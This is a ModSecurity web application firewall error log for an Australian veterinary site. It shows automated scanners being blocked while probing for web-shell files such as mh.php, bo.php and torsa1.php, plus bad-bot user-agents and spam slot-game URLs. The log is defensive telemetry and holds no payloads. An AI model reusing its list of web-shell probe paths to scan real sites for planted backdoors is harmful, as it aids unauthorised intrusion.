[Sun Mar 29 01:32:18.338745 2026] [:error] [pid 39429:tid 39492] [client 158.23.144.198:37559] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acgQok8pSj6sqgZaItnXOgAAAIY"]
[Sun Mar 29 01:32:18.725432 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:49475] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acgQoikUyvlQod6qQu2MIwAAAMU"]
[Sun Mar 29 01:32:19.136276 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:49489] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "acgQoykUyvlQod6qQu2MJgAAAMY"]
[Sun Mar 29 01:32:19.516755 2026] [:error] [pid 39514:tid 39546] [client 158.23.144.198:4743] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acgQoykUyvlQod6qQu2MJwAAANU"]
[Sun Mar 29 01:32:19.903940 2026] [:error] [pid 39514:tid 39535] [client 158.23.144.198:45512] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acgQoykUyvlQod6qQu2MKgAAAMo"]
[Sun Mar 29 01:32:20.308628 2026] [:error] [pid 39427:tid 39448] [client 158.23.144.198:4718] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acgQpFvLf0RDUqcYq-Y9_gAAABA"]
[Sun Mar 29 01:32:20.700200 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:45556] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acgQpCkUyvlQod6qQu2MMQAAANg"]
[Sun Mar 29 01:32:21.096106 2026] [:error] [pid 39427:tid 39450] [client 158.23.144.198:63693] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acgQpVvLf0RDUqcYq-Y-BAAAABI"]
[Sun Mar 29 01:32:21.506029 2026] [:error] [pid 39514:tid 39545] [client 158.23.144.198:58114] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acgQpSkUyvlQod6qQu2MNAAAANQ"]
[Sun Mar 29 01:32:21.910795 2026] [:error] [pid 39428:tid 39462] [client 158.23.144.198:37630] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acgQpaXMrozFMIaP8nL3QwAAAEM"]
[Sun Mar 29 01:32:22.312025 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:49473] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acgQpikUyvlQod6qQu2MNwAAAMM"]
[Sun Mar 29 01:32:22.706021 2026] [:error] [pid 39514:tid 39532] [client 158.23.144.198:4792] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acgQpikUyvlQod6qQu2MOAAAAMc"]
[Sun Mar 29 01:32:23.104953 2026] [:error] [pid 39428:tid 39477] [client 158.23.144.198:4777] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acgQp6XMrozFMIaP8nL3RgAAAFI"]
[Sun Mar 29 01:32:23.494789 2026] [:error] [pid 39429:tid 39492] [client 158.23.144.198:45515] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acgQp08pSj6sqgZaItnXQAAAAIY"]
[Sun Mar 29 01:32:23.901244 2026] [:error] [pid 39429:tid 39510] [client 158.23.144.198:39949] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acgQp08pSj6sqgZaItnXQQAAAJg"]
[Sun Mar 29 01:32:24.296623 2026] [:error] [pid 39429:tid 39508] [client 158.23.144.198:50008] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "acgQqE8pSj6sqgZaItnXQgAAAJY"]
[Sun Mar 29 01:32:24.686133 2026] [:error] [pid 39427:tid 39438] [client 158.23.144.198:39972] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "acgQqFvLf0RDUqcYq-Y-DgAAAAY"]
[Sun Mar 29 01:32:25.082283 2026] [:error] [pid 39429:tid 39486] [client 158.23.144.198:45525] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "acgQqU8pSj6sqgZaItnXRAAAAIA"]
[Sun Mar 29 01:32:25.494655 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:45531] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "acgQqSkUyvlQod6qQu2MQAAAAMM"]
[Sun Mar 29 01:32:25.879786 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:4853] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "acgQqSkUyvlQod6qQu2MRAAAAM8"]
[Sun Mar 29 01:32:26.287195 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:49524] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "acgQqikUyvlQod6qQu2MRQAAAMU"]
[Sun Mar 29 01:32:26.695383 2026] [:error] [pid 39514:tid 39525] [client 158.23.144.198:4732] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "acgQqikUyvlQod6qQu2MSQAAAME"]
[Sun Mar 29 01:32:27.084561 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:49510] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "acgQqykUyvlQod6qQu2MTAAAAM8"]
[Sun Mar 29 01:32:27.482374 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:60647] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acgQqykUyvlQod6qQu2MUAAAAM4"]
[Sun Mar 29 01:32:27.885934 2026] [:error] [pid 39429:tid 39504] [client 158.23.144.198:49511] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acgQq08pSj6sqgZaItnXSAAAAJI"]
[Sun Mar 29 01:32:28.270956 2026] [:error] [pid 39429:tid 39488] [client 158.23.144.198:54936] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acgQrE8pSj6sqgZaItnXSwAAAII"]
[Sun Mar 29 01:32:28.678566 2026] [:error] [pid 39429:tid 39489] [client 158.23.144.198:61942] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acgQrE8pSj6sqgZaItnXTQAAAIM"]
[Sun Mar 29 01:32:29.086643 2026] [:error] [pid 39429:tid 39486] [client 158.23.144.198:50011] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "acgQrU8pSj6sqgZaItnXTwAAAIA"]
[Sun Mar 29 01:32:29.476659 2026] [:error] [pid 39427:tid 39447] [client 158.23.144.198:37557] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "acgQrVvLf0RDUqcYq-Y-FwAAAA8"]
[Sun Mar 29 01:32:29.882807 2026] [:error] [pid 39427:tid 39455] [client 158.23.144.198:36492] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "acgQrVvLf0RDUqcYq-Y-GQAAABc"]
[Sun Mar 29 01:32:30.267839 2026] [:error] [pid 39427:tid 39450] [client 158.23.144.198:4757] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "acgQrlvLf0RDUqcYq-Y-GgAAABI"]
[Sun Mar 29 01:32:30.670508 2026] [:error] [pid 39427:tid 39433] [client 158.23.144.198:45516] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acgQrlvLf0RDUqcYq-Y-IAAAAAE"]
[Sun Mar 29 01:32:31.062621 2026] [:error] [pid 39514:tid 39524] [client 158.23.144.198:4793] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acgQrykUyvlQod6qQu2MWQAAAMA"]
[Sun Mar 29 01:32:31.447682 2026] [:error] [pid 39429:tid 39496] [client 158.23.144.198:63741] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acgQr08pSj6sqgZaItnXVQAAAIo"]
[Sun Mar 29 01:32:31.859303 2026] [:error] [pid 39428:tid 39475] [client 158.23.144.198:37570] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "acgQr6XMrozFMIaP8nL3SwAAAFA"]
[Sun Mar 29 02:55:35.161930 2026] [:error] [pid 39514:tid 39531] [client 217.216.37.55:52549] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acgkJykUyvlQod6qQu21ugAAAMY"]
[Sun Mar 29 02:55:35.374865 2026] [:error] [pid 39427:tid 39442] [client 217.216.37.55:62817] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "acgkJ1vLf0RDUqcYq-ZcfAAAAAo"]
[Sun Mar 29 02:55:35.585818 2026] [:error] [pid 39427:tid 39456] [client 217.216.37.55:60949] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "acgkJ1vLf0RDUqcYq-ZcfQAAABg"]
[Sun Mar 29 03:03:51.197839 2026] [:error] [pid 39514:tid 39540] [client 198.244.242.164:35064] [client 198.244.242.164] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "187.224.196.18_1a99acf287610f2129c87954ce55b00427eca611"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2025/03/hills-pet-v3-1.png"] [unique_id "acgmFCkUyvlQod6qQu23fwAAAM8"]
[Sun Mar 29 03:59:45.206909 2026] [:error] [pid 1969:tid 1983] [client 43.153.71.12:57042] [client 43.153.71.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acgzMXjhrWJpng1tyP0lowAAAAE"]
[Sun Mar 29 08:51:50.211834 2026] [:error] [pid 32255:tid 32294] [client 45.94.31.49:64593] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ach3pmnfn-AtRoMbquyRcgAAAEM"]
[Sun Mar 29 08:51:51.189619 2026] [:error] [pid 23167:tid 23182] [client 45.94.31.49:64571] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ach3pxIAHJCFaHff3_eYZgAAAcw"]
[Sun Mar 29 08:51:52.196151 2026] [:error] [pid 23250:tid 23273] [client 45.94.31.49:64663] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ach3qJxrpj-dQjy1cvpgkQAAAlU"]
[Sun Mar 29 08:51:53.166144 2026] [:error] [pid 23167:tid 23181] [client 45.94.31.49:64898] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ach3qRIAHJCFaHff3_eYcQAAAcs"]
[Sun Mar 29 08:51:54.142690 2026] [:error] [pid 23167:tid 23172] [client 45.94.31.49:54300] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ach3qhIAHJCFaHff3_eYcgAAAcI"]
[Sun Mar 29 09:25:57.205882 2026] [:error] [pid 23284:tid 23295] [client 51.83.11.108:41572] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ach_pYzBujdPHsq7wySCyAAAAok"]
[Sun Mar 29 09:25:59.692659 2026] [:error] [pid 32255:tid 32302] [client 51.83.11.108:51098] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ach_p2nfn-AtRoMbquyblQAAAEs"]
[Sun Mar 29 09:26:02.174379 2026] [:error] [pid 23284:tid 23294] [client 51.83.11.108:51100] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "ach_qozBujdPHsq7wySC1wAAAog"]
[Sun Mar 29 09:26:04.681157 2026] [:error] [pid 23167:tid 23178] [client 51.83.11.108:51126] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "ach_rBIAHJCFaHff3_eokgAAAcg"]
[Sun Mar 29 09:26:07.286554 2026] [:error] [pid 23284:tid 23296] [client 51.83.11.108:59454] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ach_r4zBujdPHsq7wySC2QAAAoo"]
[Sun Mar 29 09:26:09.789030 2026] [:error] [pid 32257:tid 32338] [client 51.83.11.108:59462] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ach_sSE3TArOFrUtgWpowAAAAJQ"]
[Sun Mar 29 09:26:12.186348 2026] [:error] [pid 32254:tid 32279] [client 51.83.11.108:59478] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ach_tKug2IHuyGgCTn8lowAAAA8"]
[Sun Mar 29 09:26:14.854733 2026] [:error] [pid 32255:tid 32306] [client 51.83.11.108:59496] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ach_tmnfn-AtRoMbquybqAAAAE8"]
[Sun Mar 29 09:26:17.251715 2026] [:error] [pid 23167:tid 23181] [client 51.83.11.108:33056] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ach_uRIAHJCFaHff3_eomwAAAcs"]
[Sun Mar 29 09:26:19.986733 2026] [:error] [pid 23167:tid 23182] [client 51.83.11.108:33066] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ach_uxIAHJCFaHff3_eoqQAAAcw"]
[Sun Mar 29 09:26:22.492038 2026] [:error] [pid 23167:tid 23175] [client 51.83.11.108:33082] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ach_vhIAHJCFaHff3_eorwAAAcU"]
